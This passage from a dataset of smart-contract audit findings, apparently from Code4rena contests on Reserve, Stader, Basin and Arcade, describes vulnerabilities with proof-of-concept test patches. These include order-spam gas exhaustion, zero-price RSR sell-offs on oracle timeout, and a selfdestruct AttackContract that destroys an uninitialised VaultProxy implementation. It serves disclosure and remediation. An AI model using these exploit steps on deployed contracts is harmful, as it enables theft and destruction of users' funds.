Concept\nPOC git patch test/integration/EasyAuction.test.ts:\n```patch\ndiff --git a/test/integration/EasyAuction.test.ts b/test/integration/EasyAuction.test.ts\nindex 96596a67..ff4271c4 100644\n--- a/test/integration/EasyAuction.test.ts\n+++ b/test/integration/EasyAuction.test.ts\n@@ -328,6 +328,60 @@ describeFork(`Gnosis EasyAuction Mainnet Forking - P${IMPLEMENTATION}`, function\n expect(await rsr.balanceOf(backingManager.address)).to.equal(0)\n })\n \n+ it('C4QA', async () => {\n+ const auctionData = await easyAuction.callStatic.auctionData(auctionId);\n+ const minBuyAmtPerOrder = auctionData.minimumBiddingAmountPerOrder;\n+ const bidAmt = buyAmt.add(1)\n+ // const times = bidAmt.div(minBuyAmtPerOrder);\n+ // const bidAmtAll = times.mul(minBuyAmtPerOrder);\n+\n+ const times = 2000;\n+ const sellAmtOnce = sellAmt.div(times);\n+ const bidAmtOnce = bidAmt.div(times).add(1);\n+ const userId = await easyAuction.callStatic.getUserId(addr1.address)\n+\n+ console.log(times)\n+ \n+ await token0.connect(addr1).approve(easyAuction.address, bidAmt.mul(2))\n+ \n+ const inOneReq = 100;\n+ const loops = times/inOneReq;\n+ for (let index = 0; index < loops ; index++) {\n+ let _minBuyAmounts = [];\n+ let _sellAmounts=[];\n+ let _prevSellOrders=[];\n+ for (let i2 = 0; i2 < inOneReq; i2++) {\n+ _minBuyAmounts.push(sellAmtOnce)\n+ const indexBidAmt = bidAmtOnce.add(index * inOneReq + i2);\n+ // console.log(indexBidAmt);\n+ _sellAmounts.push(indexBidAmt)\n+ if(true){\n+ // if(index==0 && i2==0){\n+ _prevSellOrders.push(QUEUE_START) \n+ }\n+ else{\n+ const pre = ethers.utils.solidityPack([\"uint64\", \"uint96\", \"uint96\"],[userId, sellAmtOnce, indexBidAmt.sub(1)]);\n+ _prevSellOrders.push(pre)\n+ }\n+ }\n+ await easyAuction\n+ .connect(addr1)\n+ .placeSellOrders(auctionId, _minBuyAmounts, _sellAmounts, _prevSellOrders, ethers.constants.HashZero) \n+ }\n+\n+ // Advance time till auction ended\n+ console.log(await token0.balanceOf(backingManager.address));\n+ await advanceTime(config.batchAuctionLength.add(100).toString())\n+\n+ // End current auction\n+ const tx = await backingManager.settleTrade(rsr.address);\n+ const txr = await tx.wait();\n+ console.log(txr.gasUsed);\n+\n+ // Check state - Should be undercollateralized\n+ console.log(await token0.balanceOf(backingManager.address));\n+ })\n+\n it('full volume -- worst-case price', async () => {\n const bidAmt = buyAmt.add(1)\n await token0.connect(addr1).approve(easyAuction.address, bidAmt)\n\n``` \nRUN: `PROTO_IMPL=1 FORK=1 npx hardhat test --grep 'C4QA' test/integration/EasyAuction.test.ts` . I forked mainnet on the block 17405129. It might be timeout at the first time because of sync too much fork network data. Just run it again to use cache.\n\nlog:\n```\n Gnosis EasyAuction Mainnet Forking - P1\n RSR -> token0\n2000\nBigNumber { value: \"0\" }\nBigNumber { value: \"6388161\" }\nBigNumber { value: \"10000000000000000002121\" }\n```\nsettle action for 2000 orders costs 6388161 gas. And for 10000 orders, gas cost should be about 31,900,000 > eth block gas limit. \n\n## Tools Used\nManual review\n## Recommended Mitigation Steps\nIt's good to make MAX_ORDERS = 5000 \n\n\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/18"}} +{"title":" require collateral status remain constant when swapRegistered","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/AssetRegistry.sol#L86-L96\n\n\n# Vulnerability details\n\nAccording to the docs: https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/docs/collateral.md \n\n> Defaulted Collateral must stay defaulted. If status() ever returns CollateralStatus.DISABLED, then it must always return CollateralStatus.DISABLED in the future.\n\nBut there is no check in the `AssetRegistryP1.swapRegistered` function. If the owner wants to update the collateral to a new address instead of upgrading existing proxy contracts, the DISABLED collateral, which is already defaulted, will be add to the prime basket after basket refresh.\n\n## Impact\nThe basket may face a default during system upgrade.\n\n## Proof of Concept\n`AssetRegistryP1.swapRegistered` is used to register `asset` if and only if its erc20 address is already registered:\n```\nfunction swapRegistered(IAsset asset) external governance returns (bool swapped) {\n // some check \n // effects no more than disableBasket\n basketHandler.disableBasket();\n\n swapped = _registerIgnoringCollisions(asset);\n}\n\nfunction _registerIgnoringCollisions(IAsset asset) private returns (bool swapped) {\n // some effects only about _erc20s update\n assets[erc20] = asset;\n emit AssetRegistered(erc20, asset);\n\n // Refresh to ensure it does not revert, and to save a recent lastPrice\n asset.refresh();\n\n if (!main.frozen()) {\n backingManager.grantRTokenAllowance(erc20);\n }\n\n return true;\n}\n```\n\nAs the code above, there are no check for `ICollateral.status()` change. It will make the unstable collateral resurrect in the next basket.\n\n## Tools Used\nManual review\n## Recommended Mitigation Steps\nCheck constant status in the swapRegistered\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/17"}} +{"title":"Lack of claimRewards when manageToken in RevenueTrader","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RevenueTrader.sol#L83-L104\n\n\n# Vulnerability details\n\nThere is a dev comment in the Assert.sol:\n```\nDEPRECATED: claimRewards() will be removed from all assets and collateral plugins\n```\n\nThe claimRewards is moved to the `TradingP1.claimRewards/claimRewardsSingle`. \n\nBut when the `RevenueTraderP1` trade and distribute revenues by `manageToken`, it only calls the refresh function of the asserts:\n```\nif (erc20 != IERC20(address(rToken)) && tokenToBuy != IERC20(address(rToken))) {\n IAsset sell_ = assetRegistry.toAsset(erc20);\n IAsset buy_ = assetRegistry.toAsset(tokenToBuy);\n if (sell_.lastSave() != uint48(block.timestamp)) sell_.refresh();\n if (buy_.lastSave() != uint48(block.timestamp)) buy_.refresh();\n}\n```\n\nThe claimRewards is left out. \n\n## Impact\nLoss a part of rewards.\n\n## Tools Used\nManual review\n## Recommended Mitigation Steps\nAdd claimRewardsSingle when refresh assert in the `manageToken`.\n\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/16"}} +{"title":" Oracle timeout at rebalance will result in a sell-off of all RSRs at 0 price","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/mixins/RecollateralizationLib.sol#L394-L413\n\n\n# Vulnerability details\n\nWhen creating the trade for rebalance, the `RecollateralizationLibP1.nextTradePair` uses `(uint192 low, uint192 high) = rsrAsset.price(); // {UoA/tok}` to get the rsr sell price. And the rsr assert is a pure Assert contract, which `price()` function will just return (0, FIX_MAX) if oracle is timeout:\n```\nfunction price() public view virtual returns (uint192, uint192) {\n try this.tryPrice() returns (uint192 low, uint192 high, uint192) {\n assert(low <= high);\n return (low, high);\n } catch (bytes memory errData) {\n ...\n return (0, FIX_MAX);\n }\n}\n```\n\nThe `trade.sellAmount` will be all the rsr in the `BackingManager` and `stRSR`:\n```\nuint192 rsrAvailable = rsrAsset.bal(address(ctx.bm)).plus(\n rsrAsset.bal(address(ctx.stRSR))\n);\ntrade.sellAmount = rsrAvailable;\n```\n\nIt will be cut down to a normal amount fit for buying UoA amount in the `trade.prepareTradeToCoverDeficit` function.\n\nBut if the rsr oracle is timeout and returns a 0 low price. The trade req will be made by `trade.prepareTradeSell`, which will sell all the available rsr at 0 price.\n\nNote that the SOUND colls won't be affected by the issue because the sell amount has already been cut down by basketsNeeded.\n\n## Impact\nLoss huge amount of rsr in the auction. When huge amounts of assets are auctioned off at zero, panic and insufficient liquidity make the outcome unpredictable.\n\n## Proof of Concept\nPOC git diff test/Recollateralization.test.ts\n```patch\ndiff --git a/test/Recollateralization.test.ts b/test/Recollateralization.test.ts\nindex 86cd3e88..15639916 100644\n--- a/test/Recollateralization.test.ts\n+++ b/test/Recollateralization.test.ts\n@@ -51,7 +51,7 @@ import {\n import snapshotGasCost from './utils/snapshotGasCost'\n import { expectTrade, getTrade, dutchBuyAmount } from './utils/trades'\n import { withinQuad } from './utils/matchers'\n-import { expectRTokenPrice, setOraclePrice } from './utils/oracles'\n+import { expectRTokenPrice, setInvalidOracleTimestamp, setOraclePrice } from './utils/oracles'\n import { useEnv } from '#/utils/env'\n import { mintCollaterals } from './utils/tokens'\n \n@@ -797,6 +797,166 @@ describe(`Recollateralization - P${IMPLEMENTATION}`, () => {\n })\n \n describe('Recollateralization', function () {\n+ context('With simple Basket - Two stablecoins', function () {\n+ let issueAmount: BigNumber\n+ let stakeAmount: BigNumber\n+\n+ beforeEach(async function () {\n+ // Issue some RTokens to user\n+ issueAmount = bn('100e18')\n+ stakeAmount = bn('10000e18')\n+\n+ // Setup new basket with token0 & token1\n+ await basketHandler.connect(owner).setPrimeBasket([token0.address, token1.address], [fp('0.5'), fp('0.5')])\n+ await basketHandler.connect(owner).refreshBasket()\n+\n+ // Provide approvals\n+ await token0.connect(addr1).approve(rToken.address, initialBal)\n+ await token1.connect(addr1).approve(rToken.address, initialBal)\n+\n+ // Issue rTokens\n+ await rToken.connect(addr1).issue(issueAmount)\n+\n+ // Stake some RSR\n+ await rsr.connect(owner).mint(addr1.address, initialBal)\n+ await rsr.connect(addr1).approve(stRSR.address, stakeAmount)\n+ await stRSR.connect(addr1).stake(stakeAmount)\n+ })\n+ \n+ it('C4M7', async () => {\n+ // Register Collateral\n+ await assetRegistry.connect(owner).register(backupCollateral1.address)\n+ \n+ // Set backup configuration - USDT as backup\n+ await basketHandler\n+ .connect(owner)\n+ .setBackupConfig(ethers.utils.formatBytes32String('USD'), bn(1), [backupToken1.address])\n+ \n+ // Set Token0 to default - 50% price reduction\n+ await setOraclePrice(collateral0.address, bn('0.5e8'))\n+ \n+ // Mark default as probable\n+ await assetRegistry.refresh()\n+ // Advance time post collateral's default delay\n+ await advanceTime((await collateral0.delayUntilDefault()).toString())\n+ \n+ // Confirm default and trigger basket switch\n+ await basketHandler.refreshBasket()\n+ \n+ // Advance time post warmup period - SOUND just regained\n+ await advanceTime(Number(config.warmupPeriod) + 1)\n+ \n+ const initToken1B = await token1.balanceOf(backingManager.address);\n+ // rebalance\n+ const token1Decimal = 6;\n+ const sellAmt: BigNumber = await token0.balanceOf(backingManager.address)\n+ const buyAmt: BigNumber = sellAmt.div(2)\n+ await facadeTest.runAuctionsForAllTraders(rToken.address);\n+ // bid\n+ await backupToken1.connect(addr1).approve(gnosis.address, sellAmt)\n+ await gnosis.placeBid(0, {\n+ bidder: addr1.address,\n+ sellAmount: sellAmt,\n+ buyAmount: buyAmt,\n+ })\n+ await advanceTime(config.batchAuctionLength.add(100).toString())\n+ // await facadeTest.runAuctionsForAllTraders(rToken.address);\n+ const rsrAssert = await assetRegistry.callStatic.toAsset(rsr.address);\n+ await setInvalidOracleTimestamp(rsrAssert);\n+ await expectEvents(facadeTest.runAuctionsForAllTraders(rToken.address), [\n+ {\n+ contract: backingManager,\n+ name: 'TradeSettled',\n+ args: [anyValue, token0.address, backupToken1.address, sellAmt, buyAmt],\n+ emitted: true,\n+ },\n+ {\n+ contract: backingManager,\n+ name: 'TradeStarted',\n+ args: [anyValue, rsr.address, backupToken1.address, stakeAmount, anyValue], // sell 25762677277828792981\n+ emitted: true,\n+ },\n+ ])\n+ \n+ // check\n+ console.log(await token0.balanceOf(backingManager.address));\n+ const currentToken1B = await token1.balanceOf(backingManager.address);\n+ console.log(currentToken1B);\n+ console.log(await backupToken1.balanceOf(backingManager.address));\n+ const rsrB = await rsr.balanceOf(stRSR.address);\n+ console.log(rsrB);\n+ \n+ // expect\n+ expect(rsrB).to.eq(0);\n+ })\n+ })\n+\n context('With very simple Basket - Single stablecoin', function () {\n let issueAmount: BigNumber\n let stakeAmount: BigNumber\n\n```\n\nrun test:\n```\nPROTO_IMPL=1 npx hardhat test --grep 'C4M7' test/Recollateralization.test.ts\n```\n\nlog:\n```\n Recollateralization - P1\n Recollateralization\n With simple Basket - Two stablecoins\nBigNumber { value: \"0\" }\nBigNumber { value: \"50000000\" }\nBigNumber { value: \"25000000000000000000\" }\nBigNumber { value: \"0\" }\n```\n\n## Tools Used\nManual review\n## Recommended Mitigation Steps\nUsing lotPrice or just revert for rsr oracle timeout might be a good idea.\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/15"}} +{"title":"the sale sequence of assets is incorrect when default","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/mixins/RecollateralizationLib.sol#L311-L413\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/mixins/RecollateralizationLib.sol#L151-L269\n\n\n# Vulnerability details\n\nAccording to the risk evaluation from the official app:\n\n> Please carefully evaluate the RToken before choosing to stake your RSR here. If any of the various collaterals of this RToken default, then the staked RSR will be the first funds that get auctioned off to make up the difference for RToken holders.\n\nThe staked RSR will be the **first funds** to be sold when RToken default. As recollateralization and Sharing most of the profits, the RSR staker should be slashed preferentially before RToken holders.\n\nWhen coll has defaulted, the correct sale sequence should be:\n```\ndefaulted coll -> rsr -> SOUND coll\n```\n\nBut because of `RecollateralizationLibP1.nextTradePair` leaves the rsr calculation at the end of the function, when stake rsr amount can't increase the `range.top` to the `basketsNeeded`, the SOUND colls will be sold after the defaulted colls. And the rsr will be sold last.\n\n## Impact\nBreak the promise about rsr overcollateralization, which means the rtoken holders suffer from more risk of default than they should have but dont get more revenues.\n\n## Proof of Concept\nPOC git patch test/Recollateralization.test.ts\n```patch\ndiff --git a/test/Recollateralization.test.ts b/test/Recollateralization.test.ts\nindex 86cd3e88..75aef2c7 100644\n--- a/test/Recollateralization.test.ts\n+++ b/test/Recollateralization.test.ts\n@@ -797,6 +797,100 @@ describe(`Recollateralization - P${IMPLEMENTATION}`, () => {\n })\n \n describe('Recollateralization', function () {\n+ context('With simple Basket - Two stablecoins', function () {\n+ let issueAmount: BigNumber\n+ let stakeAmount: BigNumber\n+\n+ beforeEach(async function () {\n+ // Issue some RTokens to user\n+ issueAmount = bn('100e18')\n+ stakeAmount = bn('10e18')\n+\n+ // Setup new basket with token0 & token1\n+ await basketHandler.connect(owner).setPrimeBasket([token0.address, token1.address], [fp('0.5'), fp('0.5')])\n+ await basketHandler.connect(owner).refreshBasket()\n+\n+ // Provide approvals\n+ await token0.connect(addr1).approve(rToken.address, initialBal)\n+ await token1.connect(addr1).approve(rToken.address, initialBal)\n+\n+ // Issue rTokens\n+ await rToken.connect(addr1).issue(issueAmount)\n+\n+ // Stake some RSR\n+ await rsr.connect(owner).mint(addr1.address, initialBal)\n+ await rsr.connect(addr1).approve(stRSR.address, stakeAmount)\n+ await stRSR.connect(addr1).stake(stakeAmount)\n+ })\n+ \n+ it('C4M6', async () => {\n+ // Register Collateral\n+ await assetRegistry.connect(owner).register(backupCollateral1.address)\n+\n+ // Set backup configuration - USDT as backup\n+ await basketHandler\n+ .connect(owner)\n+ .setBackupConfig(ethers.utils.formatBytes32String('USD'), bn(1), [backupToken1.address])\n+ \n+ // Set Token0 to default - 50% price reduction\n+ await setOraclePrice(collateral0.address, bn('0.5e8'))\n+\n+ // Mark default as probable\n+ await assetRegistry.refresh()\n+ // Advance time post collateral's default delay\n+ await advanceTime((await collateral0.delayUntilDefault()).toString())\n+\n+ // Confirm default and trigger basket switch\n+ await basketHandler.refreshBasket()\n+\n+ // Advance time post warmup period - SOUND just regained\n+ await advanceTime(Number(config.warmupPeriod) + 1)\n+\n+ const initToken1B = await token1.balanceOf(backingManager.address);\n+ // rebalance\n+ const token1Decimal = 6;\n+ const sellAmt: BigNumber = await token0.balanceOf(backingManager.address)\n+ const buyAmt: BigNumber = sellAmt.div(2)\n+ await facadeTest.runAuctionsForAllTraders(rToken.address);\n+ // bid\n+ await backupToken1.connect(addr1).approve(gnosis.address, sellAmt)\n+ await gnosis.placeBid(0, {\n+ bidder: addr1.address,\n+ sellAmount: sellAmt,\n+ buyAmount: buyAmt,\n+ })\n+ await advanceTime(config.batchAuctionLength.add(100).toString())\n+ // await facadeTest.runAuctionsForAllTraders(rToken.address);\n+ await expectEvents(facadeTest.runAuctionsForAllTraders(rToken.address), [\n+ {\n+ contract: backingManager,\n+ name: 'TradeSettled',\n+ args: [anyValue, token0.address, backupToken1.address, sellAmt, buyAmt],\n+ emitted: true,\n+ },\n+ {\n+ contract: backingManager,\n+ name: 'TradeStarted',\n+ args: [anyValue, token1.address, backupToken1.address, anyValue, anyValue], // sell 25762677277828792981\n+ emitted: true,\n+ },\n+ ])\n+\n+ // check\n+ console.log(await token0.balanceOf(backingManager.address));\n+ const currentToken1B = await token1.balanceOf(backingManager.address);\n+ console.log(currentToken1B);\n+ console.log(await backupToken1.balanceOf(backingManager.address));\n+ const rsrB = await rsr.balanceOf(stRSR.address);\n+ console.log(rsrB);\n+\n+ // expect\n+ expect(currentToken1B).to.lt(initToken1B);\n+ expect(rsrB).to.eq(stakeAmount);\n+ })\n+ \n+ })\n+\n context('With very simple Basket - Single stablecoin', function () {\n let issueAmount: BigNumber\n let stakeAmount: BigNumber\n\n```\n\nRUN test:\n```\nPROTO_IMPL=1 npx hardhat test --grep 'C4M6' test/Recollateralization.test.ts\n```\nlog:\n```\n Recollateralization - P1\n Recollateralization\n With simple Basket - Two stablecoins\nBigNumber { value: \"0\" }\nBigNumber { value: \"42848535\" }\nBigNumber { value: \"25000000000000000000\" }\nBigNumber { value: \"10000000000000000000\" }\n```\n\n## Tools Used\nManual review\n## Recommended Mitigation Steps\nSeparate branching for SOUND collateral in the `RecollateralizationLibP1.nextTradePair`\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/14"}} +{"title":"sell reward rTokens at low price because of skiping furnace.melt","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RevenueTrader.sol#L100-L104\n\n\n# Vulnerability details\n\n## Impact\nThe reward rToken sent to RevenueTrader will be sold at a low price. RSR stakers will lose some of their profits.\n\n## Proof of Concept\n`RevenueTraderP1.manageToken` function is used to launch auctions for any erc20 tokens sent to it. For the RevenueTrader of the rsr stake, the `tokenToBuy` is rsr and the token to sell is reward rtoken.\n\nThere is the refresh code in the `manageToken` function:\n\n```\n} else if (assetRegistry.lastRefresh() != uint48(block.timestamp)) {\n // Refresh everything only if RToken is being traded\n assetRegistry.refresh();\n furnace.melt();\n}\n```\n\nIt refreshes only when the assetRegistry has not been refreshed in the same block.\n\nSo if the actor calls the `assetRegistry.refresh()` before calling `manageToken` function, the `furnace.melt()` won't been called. And the BU exchange rate of the RToken will be lower than actual value. So the sellPrice is also going to be smaller.\n\n```\n(uint192 sellPrice, ) = sell.price(); // {UoA/tok}\n\nTradeInfo memory trade = TradeInfo({\n sell: sell,\n buy: buy,\n sellAmount: sell.bal(address(this)),\n buyAmount: 0,\n sellPrice: sellPrice,\n buyPrice: buyPrice\n});\n```\n\n## Tools Used\nManual review\n## Recommended Mitigation Steps\nRefresh everything before sell rewards.\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/13"}} {"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2022-06-stader-findings/blob/main/data/bigtone-G.md).","dataSource":{"name":"code-423n4/2023-06-stader-findings","repo":"https://github.com/code-423n4/2023-06-stader-findings","url":"https://github.com/code-423n4/2023-06-stader-findings/issues/422"}} {"title":"`VaultProxy` implementation can be initialized by anyone and self-destructed","severity":"major","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-06-stader/blob/7566b5a35f32ebd55d3578b8bd05c038feb7d9cc/contracts/VaultProxy.sol#L20-L36\nhttps://github.com/code-423n4/2023-06-stader/blob/7566b5a35f32ebd55d3578b8bd05c038feb7d9cc/contracts/VaultProxy.sol#L41-L50\n\n\n# Vulnerability details\n\n## Impact\nWhen the `VaultFactory` contract is deployed and initialized, the `initialise` method on the newly created `VaultProxy` implementation contract is never called. As such, anyone can call that method and pass in whatever values they want as arguments. One important argument is the `_staderConfig` address, which controls where the `fallback` function will direct `delegatecall` operations. If an attacker passes in a contract that calls `selfdestruct` it will be run in the context of the `VaultProxy` implementation contract, and will erase all code from that address. Since the clones from the VaultProxy contract merely delegate calls to the implementation address, all subsequent calls for all created vaults from that implementation, will be treated like an EOA and return `true` even though calls to functions on that proxy were never executed.\n\n## Proof of Concept\n- First, an attacker deploys a contract called `AttackContract` that calls `selfdestruct` in its `fallback` function.\n```\ncontract AttackContract {\n function getValidatorWithdrawalVaultImplementation() public view returns(address) {\n return address(this);\n }\n function getNodeELRewardVaultImplementation() public view returns(address) {\n\treturn address(this);\n }\n fallback(bytes calldata _input) external payable returns(bytes memory _output) {\n\tselfdestruct(address(0));\n }\n}\n```\n- The attacker calls the `initialise` method on the `VaultProxy` implementation contract. That address is stored in the `vaultProxyImplementation` variable on the `VaultFactory` contract. The attacker passes in the address of `AttackContract` as the `_staderConfig` argument for the `initialise` function.\n- The attacker then calls a non-existent function on the `VaultProxy` implementation contract, which triggers it's `fallback` function. The `fallback` function calls `staderConfig.getNodeELRewardVaultImplementation()`, and since `staderConfig` is set the `AttackContract` address, it returns the address of the `AttackContract`. `delegatecall` runs the fallback function of `AttackContract` in its own execution environment. `selfdestruct` is called in the execution environment of the `VaultProxy` implementation, which erases the code at that address.\n- All cloned copies of the `VaultProxy` implementation contract are now forwarding calls to an implementation address that has no code stored at it. These calls will be treated like calls to an EOA and return `true` for `success`.\n\n## Tools Used\nManual Analysis\n\n## Recommended Mitigation Steps\nPrevent the `initialise` function from being called on the `VaultProxy` implementation contract by inheriting from OpenZeppelin's `Initializable` contract, like the system is doing in other contracts. Call the `_disableInitializers` function in the constructor and protect `initialise` with the `initializer` modifier. Alternatively, the `initialise` function can be called from the `initialize` function of the `VaultFactory` contract when the `VaultProxy` contract is instantiated.\n\n\n## Assessed type\n\nAccess Control","dataSource":{"name":"code-423n4/2023-06-stader-findings","repo":"https://github.com/code-423n4/2023-06-stader-findings","url":"https://github.com/code-423n4/2023-06-stader-findings/issues/418"}} {"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2022-06-stader-findings/blob/main/data/niser93-G.md).","dataSource":{"name":"code-423n4/2023-06-stader-findings","repo":"https://github.com/code-423n4/2023-06-stader-findings","url":"https://github.com/code-423n4/2023-06-stader-findings/issues/415"}} @@ -10173,6 +10394,36 @@ {"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-basin-findings/blob/main/data/Deekshith99-Q.md).","dataSource":{"name":"code-423n4/2023-07-basin-findings","repo":"https://github.com/code-423n4/2023-07-basin-findings","url":"https://github.com/code-423n4/2023-07-basin-findings/issues/232"}} {"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-basin-findings/blob/main/data/radev_sw-Q.md).","dataSource":{"name":"code-423n4/2023-07-basin-findings","repo":"https://github.com/code-423n4/2023-07-basin-findings","url":"https://github.com/code-423n4/2023-07-basin-findings/issues/231"}} {"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-07-basin-findings/blob/main/data/0xSmartContract-G.md).","dataSource":{"name":"code-423n4/2023-07-basin-findings","repo":"https://github.com/code-423n4/2023-07-basin-findings","url":"https://github.com/code-423n4/2023-07-basin-findings/issues/230"}} +{"title":"NFTBoostVault.sol: After NFT update, if that NFT does not assigned with any multiplier value, user will lose all of their votes.","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/f8ac4e7c4fdea559b73d9dd5606f618d4e6c73cd/contracts/NFTBoostVault.sol#L418-L427\n\n\n# Vulnerability details\n\n## Impact\nUser's votes will be nullified after updating the new NFT. This will be possible if that NFT is yet to get assigned with multiplier value.\n\nThough the NFT can be updated with new multiplier value, but, at times it would be serious risk to the governance based mechanism. \nIn certain situations, there might be malicious proposal gonna be happen, but it should be stopped by counter voting. Since some of users voting power is nullified temporarily, they can not oppose the malicious proposal.\n\n## Proof of Concept\n`NFTBoostVault` has multiplier based vote allocation. By default the multiplier value is 1e3. This value would be more for NFT deposit.\nIncase of freshly adding the NFT , the function [addNftAndDelegate](https://github.com/code-423n4/2023-07-arcade/blob/f8ac4e7c4fdea559b73d9dd5606f618d4e6c73cd/contracts/NFTBoostVault.sol#L114C14-L114C31) is called and NFT is added with registration by calling the function.[](https://github.com/code-423n4/2023-07-arcade/blob/f8ac4e7c4fdea559b73d9dd5606f618d4e6c73cd/contracts/NFTBoostVault.sol#L122).\n\nWhen we look at the function \n\n```solidity\n function _registerAndDelegate(\n address user,\n uint128 _amount,\n uint128 _tokenId,\n address _tokenAddress,\n address _delegatee\n ) internal {\n uint128 multiplier = 1e3;\n\n\n // confirm that the user is a holder of the tokenId and that a multiplier is set for this token\n if (_tokenAddress != address(0) && _tokenId != 0) {\n if (IERC1155(_tokenAddress).balanceOf(user, _tokenId) == 0) revert NBV_DoesNotOwn();\n\n\n multiplier = getMultiplier(_tokenAddress, _tokenId);\n\n\n if (multiplier == 0) revert NBV_NoMultiplierSet(); ----->> @@audit : revert happen for zero multiplier.\n```\nThe above revert is done to ensure that user will get base voting power with respect to their deposited token amounts.\n\nNow, lets look at the update NFT case.\n\nContract has the function [updateNft](https://github.com/code-423n4/2023-07-arcade/blob/f8ac4e7c4fdea559b73d9dd5606f618d4e6c73cd/contracts/NFTBoostVault.sol#L305C14-L305C23) function to update new NFT. the voting power is updated based on the NFT multiplier value.\n\nLets look at the code flow,\n\n function updateNft(uint128 newTokenId, address newTokenAddress) external override nonReentrant {\n if (newTokenAddress == address(0) || newTokenId == 0) revert NBV_InvalidNft(newTokenAddress, newTokenId);\n\n\n if (IERC1155(newTokenAddress).balanceOf(msg.sender, newTokenId) == 0) revert NBV_DoesNotOwn();\n\n\n NFTBoostVaultStorage.Registration storage registration = _getRegistrations()[msg.sender];\n\n\n // If the registration does not have a delegatee, revert because the Registration\n // is not initialized\n if (registration.delegatee == address(0)) revert NBV_NoRegistration();\n\n\n // if the user already has an ERC1155 registered, withdraw it\n if (registration.tokenAddress != address(0) && registration.tokenId != 0) {\n // withdraw the current ERC1155 from the registration\n _withdrawNft();\n }\n\n\n // set the new ERC1155 values in the registration and lock the new ERC1155\n registration.tokenAddress = newTokenAddress;\n registration.tokenId = newTokenId;\n\n\n _lockNft(msg.sender, newTokenAddress, newTokenId, 1);\n\n\n // update the delegatee's voting power based on new ERC1155 nft's multiplier\n _syncVotingPower(msg.sender, registration); --------------------------------->> after adding new NFT, vote update will be done here.\n }\n\nat the end of the `updateNft` function, vote will be updated by calling the function [_syncVotingPower](https://github.com/code-423n4/2023-07-arcade/blob/f8ac4e7c4fdea559b73d9dd5606f618d4e6c73cd/contracts/NFTBoostVault.sol#L579). The `_syncVotingPower` function calls the `_currentVotingPower` function to call the current voting power in order to update the voting power of user and their delegatee.\n\n function _syncVotingPower(address who, NFTBoostVaultStorage.Registration storage registration) internal {\n History.HistoricalBalances memory votingPower = _votingPower();\n uint256 delegateeVotes = votingPower.loadTop(registration.delegatee);\n\n\n uint256 newVotingPower = _currentVotingPower(registration);\n // get the change in voting power. Negative if the voting power is reduced\n\nnow lets check the `_currentVotingPower` function, it uses the `getMultiplier` function to get the multiplier value for the NFT. Here the issue comes, if the new NFT is not assigned with any multiplier value, this funtion would return the current voting power has zero.\n\n```solidity\n function _currentVotingPower(\n NFTBoostVaultStorage.Registration memory registration\n ) internal view virtual returns (uint256) {\n uint128 locked = registration.amount - registration.withdrawn;\n\n if (registration.tokenAddress != address(0) && registration.tokenId != 0) {\n return (locked * getMultiplier(registration.tokenAddress, registration.tokenId)) / MULTIPLIER_DENOMINATOR;\n }\n\n return locked;\n }\n```\n\nThis way the `updateNft` would nullify the voting power of an user by calling the `_syncVotingPower`\n\n## Tools Used\n\nManual review.\n\n## Recommended Mitigation Steps\n\nUpdate the `getMultiplier` functioin as shown below.\n\n```solidity\n\n function getMultiplier(address tokenAddress, uint128 tokenId) public view override returns (uint128) {\n NFTBoostVaultStorage.AddressUintUint storage multiplierData = _getMultipliers()[tokenAddress][tokenId];\n\n // if a user does not specify a ERC1155 nft, their multiplier is set to 1\n if (tokenAddress == address(0) || tokenId == 0) {\n return 1e3;\n }\n\n if(multiplierData.multiplier == 0) --------->> updated\n return 1e3;\n\n return multiplierData.multiplier;\n }\n```\n\n\n## Assessed type\n\nGovernance","dataSource":{"name":"code-423n4/2023-07-arcade-findings","repo":"https://github.com/code-423n4/2023-07-arcade-findings","url":"https://github.com/code-423n4/2023-07-arcade-findings/issues/551"}} +{"title":"token address checks in batchCalls can be bypassed with approve call on unset tokens","body":"# Lines of code\n\nhttps://github.com/code-423n4/2023-07-arcade/blob/main/contracts/ArcadeTreasury.sol#L340\n\n\n# Vulnerability details\n\n## Impact\nDetailed 